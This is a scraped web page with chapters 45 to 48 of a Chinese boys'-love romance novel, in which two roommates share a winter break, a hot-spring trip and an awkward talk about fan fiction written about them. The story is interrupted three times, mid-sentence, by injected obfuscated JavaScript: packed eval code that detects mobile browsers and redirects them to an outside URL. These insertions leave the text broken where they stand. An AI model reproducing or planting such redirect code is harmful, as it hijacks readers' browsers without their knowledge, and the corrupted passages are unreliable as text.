岑柏意拧眉思索,随即轻声,“托什么关系,找到对家身上去了?”这么有仇的工作,能找到可不容易。 宁启洄再次沉默。 确实,这薪资待遇,牛马见了都流泪,生产队的驴见了都下跪。 “你可以继续给岑念上课。”发钱的岑老板淡定道。 宁启洄嘬了口珍珠,嚼嚼嚼,诧异道:“阿念寒假不是要去欧洲旅游?”居然没带上你? 顿时,宁启洄看他的眼神就染上一抹同情之色。 真是个可怜娃。 可怜娃岑柏意:“……?” 岑柏意回忆了一下,这才想起来,之前夏玥女士答应过岑念,期末考试有进步就带他出国玩。 而在宁启洄的管束下,成绩确实有不小进步的岑念,期末考试又进步了一百多名,可喜可贺。 夏玥女士准备带着岑念去欧洲,顺路在德国待几天,见一见大半年没回家的岑先生,然后再一起回家过年。 “他不去。”岑柏意淡淡道,迎上宁启洄狐疑的神色,继续补充,“临时起意,不去了。”是的,他临时起意,岑念去不了了。 对不起了弟弟。 他心头第一次闪过对弟弟的愧疚。 再三确认岑念真的是自愿不去,宁启洄这才放下心来。 宁启洄:“那我什么时候过去?” 岑柏意:“过两天吧,他需要时间缓缓。” “……”宁启洄不明觉厉。 解决了寒假生活的问题,他开开心心喝奶茶。 他不知道的是,此刻,有一位倒霉孩子失去了自己美好的欧洲一月游。 他哭丧着脸说自己要好好学习,换来了母上大人对他的亲亲抱抱举高高,以及哥哥送来的最新款游戏机、机器人和暑假欧洲一月游的机会。 收到他哥消息的时候,岑念整个人是崩溃的,他看着满床摊开准备带走的衣服,心里默默流泪。 但想到那些福利,以及他孤寡大哥的艰难爱情旅程,他就不难过了。 他不去了,但夏玥女士肯定还是要去的,她要去看她老公。 所以,寒假家里就他们三人。 他得给他哥加把油。 45.寒假 过了几天,宁启洄跟着岑柏意一起回去了。 夏玥还没走,看见宁启洄,笑得十分灿烂。 “小宁老师,真是多亏你了,阿念这孩子……” 拉着宁启洄的手巴拉巴拉讲了一堆,大致是说感谢宁启洄拯救她全家的意思——开玩笑,就是给叛逆少年掰正了一下学习理念,劝说无知少男迷途知返。 念叨了好久,宁启洄实在受不住了,把求助的目光看向岑柏意。 后者淡定把他从夏女士手里解救出来。 虽然握不到手了,但夏玥还是很激动,“这是阿念第一次主动要求学习呢,说好的欧洲之旅都不去了,他——” “可以了妈,我先带他上去,学习时间宝贵。”岑柏意生怕他妈给说露馅,赶忙找了个借口把人带上楼。 夏玥想想也是,看着大儿子半推半扶着家教老师的身影,满是欣慰。 就该这样,相互扶持。 然而,被迫相互扶持的两人一进房间就分开来,准确的说,是宁启洄弹跳开,像是屁股着了火似的。 不知道为什么,他最近总是有点抵触岑柏意过于亲密的接触,就感觉哪里怪怪的。 也许是那天喝完酒,岑柏意语气乖乖地叫他岁宝,也可能是岑柏意认真回忆着他们之间的一点一滴。 再然后发生什么他就不记得了,只不过第二天,江千陵看他的眼神格外像是在看一个祸水,飘来的气儿都带着谴责意味——然后就被林枫晚揍了。 岑念一脸兴奋,又在收到自己老哥威胁的眼神之后,收敛了不少,蔫蔫地上完课。 中午吃饭,照例是岑柏意下厨。 家里的阿姨已经被夏玥放假回家过年了——原本是打算带小儿子去旅游,结果因为太勤奋临时改主意了,现在家里没了做饭的人。 至于大儿子嘛……反正饿不死,他会做饭,而且学校也有食堂,夏女士如是想,坚决不承认是把放养在学校的大儿子给忘记了。 下午上完课,吃过晚饭,岑念眼巴巴望着他,“小宁老师,来都来了,要不就直接睡我家吧?” 宁启洄:“?!!” 岑柏意看了弟弟一眼,没说话。 夏玥女士正好听见了,不知道想到了什么,拍手笑道:“小宁老师,这是小意第一次留人在家里过夜呢~” 宁启洄:难道上次我发烧是睡在院子里的? 岑柏意:明明是岑念开的口。 夏玥继续道:“好久没见小意笑得这么开心了。” 根本没笑的岑柏意看了眼笑不出来的宁启洄,又扭头,轻轻皱眉,忍无可忍道:“……妈,你把霸总小说关掉。” 管家味太浓了,收一收。 夏玥:“喔。” 在当事人没来得及表态的情况下,事情就这么定下来了。 宁启洄张了张嘴,又闭上了。 反正,反正又不是第一次在他家住了…… 去同学家过夜不是很正常吗,他也经常在林枫晚家过夜的…… 但他为什么这么紧张啊救命! 夏女士和岑先生卧室在三楼,两个儿子的卧室在二楼一东一西,离得最远的两间房。 岑柏意卧室边上的客卧还空着,他让人收拾出来给宁启洄住。 想着宿舍里孤零零的小汤圆,宁启洄莫名心虚,觉得自己像个不称职的爸爸,他跟岑柏意说能不能把它接过来。 岑柏意脸色一僵,似乎也忘记了这件事。 宁启洄还以为他有一丝丝愧疚,正要安慰几句,就听他说:“龙猫,怕猫吗。” “?” 宁启洄扭头看看,并没有发现他家里有养猫。 岑柏意:“家里有只银渐层,今晚会接回来……” “今晚?!” 岑柏意点头,“准确的说,是一个小时以后,我妈已经在接猫回来的路上了。” “……” 他语气有丝丝不确定,“要不,我还是住寝室?”虽然来来回回毕竟麻烦,还要浪费早上的休息时间。 岑柏意:“!!” 他表情一穆,语气莫名沉重,“先试试,实在不行把猫再送回去。” “……?” 你家猫知道它主人这么对它吗。 没过多久,猫接回来了,宁启洄也把小汤圆从学校搬了过来,连带着自己的衣服和其他东西。 银渐层性格很好,软乎乎的不怕生,也很懒,不愿意动弹。 换了个环境,但有两位主人陪着,小汤圆只慌了一会便镇定下来。 宁启洄还是没有把它放出,只让两只崽隔着柜子上的玻璃相望。 一时间,相处倒也算和谐。 “它叫什么?”宁启洄视线一直盯着身形比小汤圆大无数倍的软乎乎银渐层,忍不住问。 银渐层猫猫似乎察觉到有陌生人在看它,甩了甩尾巴,扭头,一双翠绿色的眼睛直勾勾盯着宁启洄。 歪头喵喵几声,突然凑近宁启洄,把他吓了一跳。 “别怕,它不咬人。”见状,岑柏意笑了一下。 宁启洄停下动作,任由银白色的猫猫探头过来,把脑袋抵在他掌心,乖顺地蹭了蹭。 好乖好软! “它叫繁星,可以叫它星星。”见宁启洄一脸萌吐血的表情,岑柏意唇角微勾。 “……?” 莫名想到了某位社长。 两人念头同起,对视一眼,诡异地沉默了。 半晌,宁启洄岔开话题,“好像夏姐的微信名也叫这个?” 岑柏意摸了把窝在宁启洄腿上不动的猫猫头,点头说:“以前叫意念。” 他和岑念的名字。 自从星星被接到家里之后,他们的家庭地位直线下降。 “……辛苦。” “不辛苦,命苦。” “……” 寒假时间有点长,安排和国庆假又有些不一样。 岑柏意和宁启洄商量了一下,决定增加一点趣味活动,比如说锻炼——这是岑柏意单方面的提议。 宁启洄看了看岑柏意藏在衣服下若隐若现的八块腹肌,又捏了捏自己软乎乎的肚子,觉得他是在点他。 反正就这么定下来了,大早上爬起来跑步或者骑行,然后傍晚吃过饭可以散散步打打羽毛球,总之有很多种选择。 不过,这下宁启洄就不是很懂他住在岑柏意家的意义了——早上并不能赖床,和住寝室里有什么区别。 第二天一大早,他就被岑柏意从被窝里挖起来,拉去跑步。 跑完步洗澡吃饭。 吃完早饭,夏女士就拎着行李箱走了。 “宝贝们,给你们带纪念品哟!mua~”夏女士冲两个儿子依次抛了个飞吻,连带着宁启洄也有。 宁启洄有些不好意思,就听身侧的两兄弟语气淡淡地讨论。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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随即,宁启洄又皱起眉,嘟囔道:“还是多谢你,不然就我那鸭子舞,八十都够呛的。” 岑柏意默了默,想到私下带着宁启洄排练的场景,无数次被踩脚,甚至转得过猛两人一起摔倒。 这一学期,他们都不知道洗了多少次鞋和裤子,上面全是灰扑扑的脚印。 一时间,他竟找不出什么可以安慰的话,只好沉默。 好在宁启洄自嘲而已,并不在意这些,依旧笑嘻嘻的。 岑柏意指尖无意识揉搓手里的毛巾,半晌,开口道:“既然考得不错,我们去泡温泉吗?” 哎? 他淡定补充,“庆祝我们……舞蹈课满绩,怎么样。” 刚要离开的宁启洄察觉要素,倏地回头:温泉! 注意到宁启洄逐渐兴奋的眼神,岑柏意了然,“那我安排,过几天就去。” 宁启洄凭着仅存的良心,迟疑道:“我是来上课的,出去玩是不是不太好……” “放心,我妈没这么死板。”岑柏意看了眼宁启洄,笑道,“一直学,岑念也没这耐性,带他出去放松。” 想想也是,岑念再怎么说也才十二岁,还是个孩子。 宁启洄很快说服自己,欣然应允。 46.泡汤 两天后,三人一起去了A市郊区的一家温泉馆,是夏玥女士的朋友开的——夏女士虽然人已经不在国内了,但心与他们同在。 岑念换好衣服,扑通一下跳进水里,兴致勃勃要和远在桑斯安斯风车村品味荷兰乡村风土人情的夏玥女士打视频云泡汤,被岑柏意死死按住了。 宁启洄表情复杂,“现在,荷兰应该是早上六点多。” 亲爱的夏女士,可能还没起。 他们是吃过午饭就来泡汤了,现在也才一点多。 宁启洄想,他们的家庭关系,还挺,挺若隐若现的。 说不去就不去的欧洲之旅,说丢下就丢下的两个好大儿,完全不考虑时间差的跨国视频…… 他突然觉得宁先生也挺好的,起码,靠谱。 汤池里的水温度很高,宁启洄懒懒地窝在一角,不时嘬一口边上的奶茶——温泉馆只有茶,宁启洄欣赏不来,这是特地买的,附近没有奶茶店,花了点跑腿费叫人从主城区送的,还很热乎,喝着整个人暖洋洋的。 泡了一会,岑念待不住了,在池子里扭来扭去,“浴室里有塑料鸭子,要不我们放进来玩?” 岑柏意淡淡瞥了他一眼,“要不再放点浴盐?” “可以吗?”岑念星星眼。 超大浴池,极致体验,想想都很舒服! 岑柏意不说话,只是看着他。 又不是澡堂子,三个人一起洗像什么样子,是要互相搓背吗。 被岑柏意警告过后蔫了不少。 见状,宁启洄笑了一下,“那我们玩游戏?” 岑念眼睛骨碌碌一转,兴奋道:“好啊好啊!我最喜欢玩游戏了!” 岑柏意:“……” 有没有人告诉过岑念,他现在这样很像个傻子。 显然是没有。 “大哥小宁老师,我们来作诗吧!”岑念吃着放在小桌子上的糕点,嚷嚷道。 没有平板和机器人玩,光泡,可无聊了。 岑念眼巴巴望着他们俩,宁启洄笑了一下,看向岑柏意。 接收到宁启洄的视线,岑柏意心头一热,往四周看了看。 汤池边上有一丛不算太高的竹林,林子里间或生长着梅树,枝头开除点点艳红色。 场景极其眼熟,但岑柏意没多想,几乎是下一秒就开了口: “翠竹猗猗立畔间,艳梅点点映温泉。” 他不假思索说出这句诗,过后,愣住了,想到了什么,耳尖逐渐升温。 宁启洄没注意到他的异常,只是同样看着温泉边生长的绿竹和红梅,心头一动,“竹节凌意梅枝俏,暖水柔波腾雾烟。” “好诗好诗!多谢~”岑念极其捧场的拍拍手,点心渣子掉进汤池里。 两人还没弄明白他在谢什么,就见岑念从汤池里爬出来,裹了大浴巾朝房间里跑,一溜烟跑没了影。 他们老师布置了假期要写作文或者作诗来着,这不就轻轻松松解决完一天的份额了? 岑念美滋滋去洗澡,把亲哥和亲老师留在了汤池里。 游戏只玩了一轮便结束了,甚至说是半轮,因为渔翁得利的岑念同学并没有参与。 气氛一时间尬住。 岸边竹影晃动,发出沙沙的声音,开得茂盛的殷红梅花传来缕缕幽香。 宁启洄抬头,发现岑柏意也在看自己。 热气蒸腾,水雾缭绕,隔着白色的水汽,他们都看不清彼此的脸。 两人默默对视几秒,宁启洄猛地回神:这首诗……这首诗不是看花人那篇同人文里的吗?! 林若锦特地在文末批注了,文中的诗词都是她自己写的。 为什么岑柏意会知道啊! 宁启洄试图冷静思考:岑柏意能说出前两句,大概是看过那篇文,现在只能庆幸那篇文比较清水,没什么车,不然他是真的无法面对岑柏意了。 也正因为如此,他才把这篇文反复看了好些遍,文笔细腻,感情充沛,那篇文写得很好,是林若锦写的同人文里少有不开车的。 这也是为什么,他能下意识把后半句诗接上。 Oh, no! 要翻车了。 宁启洄绝望地闭了闭眼,听到有细微的水声。 他睁眼看过去,发现岑柏意正逐渐靠近他, “接得很好。”岑柏意垂眸,神色认真地看着眼前的人。 热气蒸腾把宁启洄的脸熏得有些红,眸光泛水,此刻有些茫然又无措,像只受惊的小松鼠——倒是和小汤圆差不多了。 岑柏意微微勾唇,静静等待宁启洄的回答。 后者纠结地拧眉,对自己偷摸看同人文而且尺度很大的行为难以启齿,但一时间实在找不出个合理的借口。 他不知道的是,岑柏意很早就知道他看他们的同人文了,也正是因为那条聊天记录,把岑柏意带进了一个新世界。 “嗯?岁宝?”岑柏意声音低沉,有些沙哑,此刻他上半身大半部分露在水面,精壮的胸膛上滑落水滴,沿着深深的腹肌线滑入温泉水里。 宁启洄只觉得他像个妖精一样,忍不住咽了咽口水。 救命,这要不是岑柏意,他都要以为他是在勾引他了! 宁启洄深呼吸,吐气。 看几篇文章而已,没什么大不了的,反正,反正那么多车又不是他要求的,同人文也不是他写的。 他控制不了的。 嗯没错,就是这样! 做了半天心理建设,宁启洄低头,不敢看他,声若蚊蚋,“就、就看了几篇文章而已。” 岑柏意耐心看他,“什么文章?” 宁启洄脸更红了。 怎么还问! “同、同人文。” 宁启洄脸色红得滴血,头都要埋进温热的池水里了。 眼见着他发挥主观能动性要把自己溺死在水里,岑柏意无奈叹气,伸手抚上他的后脖颈把他拎起来,轻轻摩挲。 “我也看过。” 宁启洄震惊,一时间没有推开岑柏意作乱的手。 这话的意思很明显,两人都知道,岑柏意说的“看过”,肯定不是单指这次作诗的那篇同人文。 他知道岑柏意肯定看过那篇有诗词的同人文,毕竟他看到景色,很顺畅地就开口了,大概率是看过很多遍,而不是自己刚才凭空作出来的诗。 但他没想到,岑柏意居然也看过其他的同人文! 那CP同人贴里的其他同人文可没有这篇如此友好,全是车,把他快要创死了。 宁启洄每次看都心虚得要死,感觉自己在意.淫自己的好哥们,现在另一位当事人很淡定地亲口告诉他,他也看过?! 这个世界好像有点癫癫的。 其实,另一位当事人并不淡定。 他另一只扶在岸边的手微微出了汗,他很清楚并不是温泉蒸出来的,而是紧张。 他有想过找个时间跟宁启洄摊牌,毕竟自从明白自己的心意之后,他就不再满足于和宁启洄做表面的朋友——虽然宁启洄跟个没事人似的,还和他处哥们。 这人迟钝得很,他得加把火,同人文就是最好的突破点。 但今天这一出属实是有些猝不及防了,并不是他想象中的坦白场面。 ——不过,看起来也还不错。 岑柏意盯着宁启洄红红的耳尖,不愿意错过他任何一个动作。 似乎,没那么抵触? 是个好的开始,岑柏意想。 宁启洄依旧坚持装死,耳畔突然传来一声轻笑,一杯水递到他眼前。 “喝点水,别泡晕了。” 宁启洄见他态度自然,在心里暗骂自己少见多怪,不就是看点代入感很强的小黄文嘛,这有什么的,人家岑柏意都没—— “所以,你为什么会看我们的同人文?”岑柏意见他把水咽下去之后,淡然开口。 宁启洄蓦地僵住,似乎被孙悟空施了定身术,在原地动弹不得。 这茬怎么还没过去?! 他为什么这么直白地就说出来了! “不小心看到的。”宁启洄随便找了个借口敷衍过去。 他小口小口喝着水,抬眸见岑柏意神色如常,在心里夸他的心理素质强大,但又忍不住问:“你看同人文是什么感受啊?” 岑柏意挑眉,拈了枚拇指大小的栗子糕塞进他嘴里,指尖残留了些他唇瓣的温度和湿润。 栗子糕很香甜,有股独特的栗子味,还有牛奶的香气。 宁启洄感受着细腻的栗子糕逐渐融化在舌尖,心里甜滋滋的。 见他把糕点咽下去,岑柏意才淡淡开口:“你什么感觉我就什么感觉。” “!!!” 这是可以说的吗?! 宁启洄眼睛瞪得溜圆,眼里是毫不掩饰的惊讶。 他没办法想象,岑柏意这样的人,看他们自己的同人文会起反应。 两位当事人每晚的头顶相距不到二十公分。 似乎看出他心中所想,岑柏意无奈叹气,“我是个正常男性。” 宁启洄意识到什么,胡乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085915|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头不欲接话。 “生理功能和精神状态都正常。” 宁启洄被呛到,咳嗽两声,双眸含泪看他。 这种事情就不需要详细解释了吧! 不过这次岑柏意并没有被他的美人计(?)蛊惑,他只是轻轻拍了拍他的背,继续道:“所以,我有反应很正常。” 宁启洄已经累觉不爱了,他都不知道是该去应对背后略带薄茧的手带来的酥麻感,还是对手的主人说的话产生的无力感作出反应。 宁启洄刚要说什么,突然一顿——岑柏意是怎么猜到他起反应了的?! 他脸色变幻莫测,像是打翻了的调色盘。 该不会,该不会他在寝室里做春.梦说梦话被离他不到二十公分的岑柏意听到了吧! 他说了什么? 是叫了岑柏意的名字,还是叫了同人文里岑柏意的化名。 还是完整地说出某些会让同人文里的岑柏意兽性大发的话,比如说,“岑柏意,快点!”“岑柏意求你了。”还是“柏意你帮帮我……” 住脑! 最后一种情况,宁启洄都不敢想,他狠狠闭眼,不愿再面对。 好好的,他来泡什么温泉! 这下好了,蝴蝶效应把自己一翅膀扇死了,社死的死。 他想换个星球生活了。 那个星球,没有贫穷,没有同人文,更没有岑柏意。 瞥见宁启洄渐渐窒息的表情,岑柏意大概能猜到他在想什么,觉得自己不能把人逼得太紧,于是缓声道:“其实,没你想得那么复杂。” 宁启洄倏地扭头,目含期待,开口:“所以你没看其他的同人文?” 他的表情如雨后彩虹般生动,岑柏意又气又笑,恨得牙痒痒。 按照他的设想,宁启洄如果对他也有那么一丝丝意思,这下应该半推半就表达自己的心意,起码是处于一个中间值。 大概是,薛定谔的接受吧。 没想到,这人还真是一点关系都不想和他扯上。 岑柏意没什么表情地扯了下嘴角,语气淡淡,“我看了,还做了笔记,要看看吗?” 不仅看了,还博览群文,同人贴里的同人文被他看了大半,现在让他动笔写也能直接写几篇。 宁启洄:“?” 怎么了这是,眼神突然好可怕,像是要吃他! 不对,看自己的同人文做什么笔记啊! 槽多无口,宁启洄泡了个汤,整个人更疲惫了。 他精神恍惚地爬出去,裹上大浴巾往房间走,也没注意到岑柏意看见他大片裸露的白皙皮肤时,陡然深暗的眼神。 —— 温泉馆里有房间,岑柏意干脆定了个套房,三人在这里住一晚上再回去。 既然是出来玩,那就玩尽兴。 周围娱乐项目不少,泡完汤,几人换了身衣服出去逛逛。 出来放松心情,两人都是跟着岑念到处跑——岑柏意问过他要不要去别的地方,宁启洄表示到哪里都可以玩,集体行动比较有团魂。 “……” 逛了一下午,回到酒店,宁启洄就洗了澡瘫在床上不想动。 他们订的是大套房,正好三间卧室。 没过多久,岑柏意来敲了敲门,“还要吃饭吗?” 他们跑完汤是两点多,然后在外面玩了一个下午。 三人都没有吃晚饭,去了附近新开的小吃街逛了很久,手里就没空过,嘴也没闲着,现在饱得很。 宁启洄微微支起身子,矜持地打了个嗝,嘴里泛上冰糖葫芦酸甜的香气,他说他不饿。 “饿了可以叫餐。”岑柏意的声音从门板那边透进来。 “好喔。”宁启洄懒懒应道。 等岑柏意的脚步声完全离开了,宁启洄就又咚的一下倒在床上,放空大脑。 像条失去梦想的咸鱼。 咸鱼的脑海里开始复盘今天的种种,他想,怎么就摊牌了呢。 明明他也没说什么,但岑柏意就是知道了一切,而且态度很坦然,好像完全不介意。 不过,像岑柏意这种人,居然会看同人文看到起反应。 是文字的感染力太强了,还是他给岑柏意加的滤镜太厚了? 那他会不会偷摸一个人看小视频。 宁启洄暗自笑了一下,舒展四肢准备睡觉。 突然,他意识到一个问题——就算岑柏意是个拥有正常生理反应的男性,也不该对着男男同人文起反应吧? 难道说……他是gay?! 47.喜欢 “早上好。”岑柏意坐在客厅沙发上刷手机,看到宁启洄走出来,打了个招呼。 他们决定玩一天再回去,因此时间很充裕。 宁启洄迷迷瞪瞪的眼睛一下瞪大,结结巴巴应道:“早、早上好。” 然后砰的一声,又把门关上了。 “……?”岑柏意轻轻拧眉,盯着紧闭的房门看了几秒,低低笑了一声,收回视线。 门内的宁启洄背紧靠着门板,表情心虚不已。 昨晚的猜测让他彻夜难眠,他没想到,岑柏意居然可能真的是gay,那他对贴吧里的传闻不会有什么想法吗? 以前他们都是“直的”,宁启洄觉得过不了多久帖子热度就会降下去,岑柏意估计是根本不在意这种事情。 现在好了,帖子热度不但没降,岑柏意还弯了——看同人文看弯的。 那他应该作何反应呢? 宁启洄开始倒推: 他为什么会觉得岑柏意弯了?因为岑柏意看他们的同人文起反应了。 那他看同人文起反应了吗?起了,甚至半夜偷摸洗内裤被洗冷水澡的岑柏意逮住了。 类比可知,他们一样。 宁启洄绝望地得出结论——完了,他也弯了。 哈哈,这个操蛋的世界。 然后就一晚上没睡着,睁眼到天明。 今天早上精神恍惚地开门,对上岑柏意的视线才清醒几分,又想起自己没洗漱,急急忙忙回房关门。 现在,宁启洄重新审视这个问题:他们该如何正常相处? 昨晚泡汤的时候,岑柏意明显很坦然淡定,很自然地和他讨论这个问题,完全看不出尴尬的迹象。 再说了,看片子也只是对性.冲动有了一种幻想,又不是对里面的主角起反应。 岑柏意看同人文起反应也不代表他对他就有点什么。 那他应该也能做到? 个屁,做不到。 他要慌死了。 虽然从小到大他都略微有些叛逆,但遇到事情还是会找宁先生和苏女士解决的。 现在,这事好像没办法解决——他总不能给宁先生苏女士说,他看自己的同人文把自己看弯了,另一位当事人还是他舍友。 老古板宁先生肯定会让他换寝室的! 伟大的思想家宁可夫斯基再次沉思,这次的沉思没有得出任何结果,只等来了肚子咕咕叫的声音。 “去吃早餐吗?”岑柏意很合时宜地敲了敲门,把思想家从他乱七八糟的想法漩涡里解救出来。 宁启洄换了身衣服,强装镇定出门。 “小宁老师,你昨晚是去做贼了?”岑念也才刚起,刷着牙出门,看见宁启洄两颗硕大的黑眼圈,在宁启洄白皙的皮肤上显得很吓人。 其实他更想问,小宁老师昨晚是不是去打群架了——他是被打的那个。 宁启洄:“……”不想说话。 岑柏意打开门,瞥了弟弟一眼,“还吃不吃。” “吃吃吃!马上好!”岑念嗷嗷两声,转身把嘴上的泡沫冲干净。 · 温泉馆的早餐种类不算太多,据夏女士说,那位朋友喜欢清净,温泉馆每日接待人数是固定的,早餐种类也时不时按她的喜好走——比如说今天,温泉馆的老板正好住在这边,早餐就是她喜欢吃的豚骨面锅贴和烧麦,当然,老板也贴心了加了些其他选项,但总归也是她爱吃的。 宁启洄端了碗绿豆沙小汤圆和一份牛肉锅贴,安安静静吃早餐。 餐厅靠近附近的生态公园,他们坐的位置正好靠窗,能看见一片郁郁葱葱的森林。 咚—— 瓷器碰撞桌面的声音。 面前突然出现一小碗黄澄澄的鸡蛋羹,上面浇了点生抽,中间是虾仁和西蓝花碎摆成的爱心,撒了葱花。 宁启洄莫名心虚,总觉得这碗蛋羹在暗示什么。 过了一会,几人都吃得差不多了,宁启洄在给他的绿豆沙小汤圆收尾。 他用小瓷勺舀起白白的小汤圆,裹着灰绿色的绿豆沙,一口一口往嘴里送。 软滑嫩糯的糯米粉圆子,搭配细腻香甜的绿豆沙,不需要额外加糖就足够甜蜜,宁启洄很喜欢这道菜。 “吃完饭去公园逛逛?”岑柏意单手托着下巴,静静看他吃饭。 也许是视线过于灼热,宁启洄被呛了一下。 下一瞬,对面递过来一张干净的餐巾纸,伴随着染了些温度的关怀话语,“慢点吃,不急。” 宁启洄盯着那只骨节分明的手,看了几秒才接过纸巾,小声咳嗽起来。 这,这真的好像是在谈恋爱啊,他在慢慢吃饭,对面的男朋友安静地看他吃,在他呛到了还会贴心地递水拿纸。 思绪起,下一秒,一杯温热的水就递了过来,“喝点水。” 抑制自己的胡思乱想,他咬破一个小汤圆,“好啊。” 宁启洄抬头,笑眼弯弯,“去公园。” —— 九鹿生态公园是A市最大的生态公园,因最初公园里有九只鹿而得名,如今鹿群繁衍壮大,也依旧沿用了这个名字。 这座生态公园在五年前建完,有不少热爱自然的市民会来这里逛逛,呼吸新鲜空气,亲近大自然。 公园分了两大板块,有传供人类活动的区域,比如说锻炼,舞蹈,或者野炊,另一部分便是自然区域,只留了小径供游客行走观光。 几人直接去了自然区域,先去森林和植物园看了看。 树木参天,茂林遮蔽暖阳,漏下细碎的光影。 几人走在石子路上,周围安静极了。 岑念突然扭头,倒退着走路,没等宁启洄提醒他看路,他歪头看他们,开口道:“哥,小宁老师,你们觉不觉得,我们这样好像一家三口出来玩啊。” 宁启洄:“?!!” 他勉强压下脸上涌起的热意,强壮镇定道:“阿念,别乱说。” 岑念很不服气,嚷嚷道:“哪有乱说,明明很像!” 宁启洄嘴皮子再利索也不能对岑念说,他还小,不能教他些有的没的——再说了,遇上岑柏意的事情,他总是没有任何办法。 宁启洄眼观鼻鼻观心,决定不理会。 见他实在窘迫,岑柏意把他解救出来,“岑念,是你妈对你不好,还是你爸克扣你零花钱。” 就这么把他们排除在“一家三口”的体系之外了。 宁启洄:“……” 岑念:“……” 伤敌一千,自损一千。以一换一,大道至简。 岑念表情扭曲一瞬,随即嘻嘻笑道:“我说的是两个哥哥带着弟弟啊,有什么问题?” 真正克扣弟弟零花钱的哥哥没接他茬,语气淡淡,“有空给他补补语文。” 宁启洄嘴角一抽,点头说好。 对抗路兄弟,值得信赖。 森林里随处可见【小心有蛇】的标志,隔一段距离就有一个显眼的报警亭。 宁启洄突然想起那次爬山的经历,他瞥了眼冲到最前面兴致勃勃东拍西拍的岑念,突然扭头看向岑柏意。 视线强烈到无法忽视,岑柏意扭头,投以一个询问的眼神。 “你上次……我上次给肖蓬羽捡怀表,你生那么大气做什么?”犹豫着,宁启洄还是问出了心中的疑惑。 他知道岑柏意是担心他,但其他社员肯定也担心,都没做出那种反应。 他想,如果林枫晚在场,也最多是训斥他几句,然后有些后怕地护着他走完剩下的路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093986|148622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,哪里会给他甩脸色。 当时他确实少爷脾气一下就起来了,但后来,总觉得哪里不太对劲。 结合昨晚的猜测,他现在隐约有了一个想法。 岑柏意勾起一抹浅浅的笑,“你觉得呢?” 宁启洄答不上来,反问道:“你来拉我,你不怕吗?” 悬崖很高,掉下去肯定会尸骨无存。 他扯着旁边生长的树木,但岑柏意却是直接冲了过来拉他,如果由于惯性没能刹住车,那是会直接冲下去的。 “怕啊,我怕死了。”岑柏意默了一瞬,半开玩笑半认真道,语气有了一丝波动,“当时有蛇,你扑上来做什么?” 当时看见宁启洄被蛇咬了,他心跳都漏了几拍,大脑一片空白。 宁启洄还是答不上来,干脆装死不说话,只是错开眼睛不看他。 岑柏意轻轻叹气,每次都是宁启洄先挑起话题,然后又缩进壳子里不敢接话。 “答应我,以后别做这么危险的事了,好不好?”他微微低头,眸色认真地看着眼前的人。 宁启洄动了动嘴,他想说,捡表的事情他心里有数,他又不是什么滥好人,能为了别人的利益奉献自己的生命。 他才没那么无私。 至于扑过去挡蛇的事,他也不知道该怎么解释,也许是为了哄生气的岑柏意,也许是不想让他受伤,又或许是哪根筋没搭对。 反正,他就是那样做了。 也不亏,起码只有他受伤了。 但到底还是没能说出什么来,他直觉这话说出来,岑柏意会气死。 他只是点点头,答应了。 到底是没忍心继续逼迫他,岑柏意转移话题,和他继续聊了一路。 九鹿生态公园的鹿园在森林边上,现在有十五只鹿了,大都乖顺地趴着睡觉,叠起长腿,把头靠在腹部。 有一只不太大的小鹿眼巴巴凑过来,用不太尖的角轻轻蹭宁启洄,一旁的工作人员见状,也笑,“小十三最皮了,今天居然这么乖,看来很喜欢你。” 岑柏意没看鹿,只一直盯着宁启洄柔和的侧脸。 他想,是该这样,大家都会喜欢他的。 —— 回到主城区,他们又去吃了顿晚饭才回家。 小汤圆饿得嗷嗷叫,宁启洄连忙给他加粮——走之前是放了足够的鼠粮的,但小汤圆似乎过于贪吃,极为擅长“超前消费”,估计昨天就把两天份额的粮给吃完了,不过水还剩了一些。 岑柏意也给围着他转的星星喂吃的,客厅里俨然一副小型奶爸聚头。 等收拾完一切,已经十点多了。 “早点睡,晚安。”岑柏意站在他卧室门口。 “你也是,晚安。” 宁启洄也道了晚安,却发现岑柏意站在原地没动。 他疑惑抬头,却感受到身前人抬起手,搭在他头顶,轻轻揉了揉。 “真的晚安了。”带着些许笑意的声音落下。 宁启洄怔怔地盯着他离去的背影,直到对面的人进入房间,转身和他对视。 他似乎愣了一下,随即弯起眼,“快睡吧。” 关门声响起,宁启洄猛地回神,也进了房间。 宁启洄坐在床边,脑海里一直在回响那个摸头的动作,很轻很柔,揉得很舒服,他都忍不住想要蹭蹭。 最后的那个笑容……他没见过岑柏意这么笑,笑得很温柔,弯起了浸满寒霜的眼眸,化去了浑身的冰雪。 像是解冻了的太阳,给他带来满满的温暖阳光。 他双手捧住自己滚烫的脸颊,去窗边吹了会风。 明月高悬夜空,今夜繁星点点。他想起了他,内心是完整的。① 他想,他是有点喜欢岑柏意。 48.逛街 日子就这样一天天过着,两人相处和往常无异,似乎都不约而同忘了那天泡温泉发生的事情。 宁启洄松口气之余,内心又有些失落。 看这模样,岑柏意估计是不喜欢他,不然怎么还和往常朋友般相处。 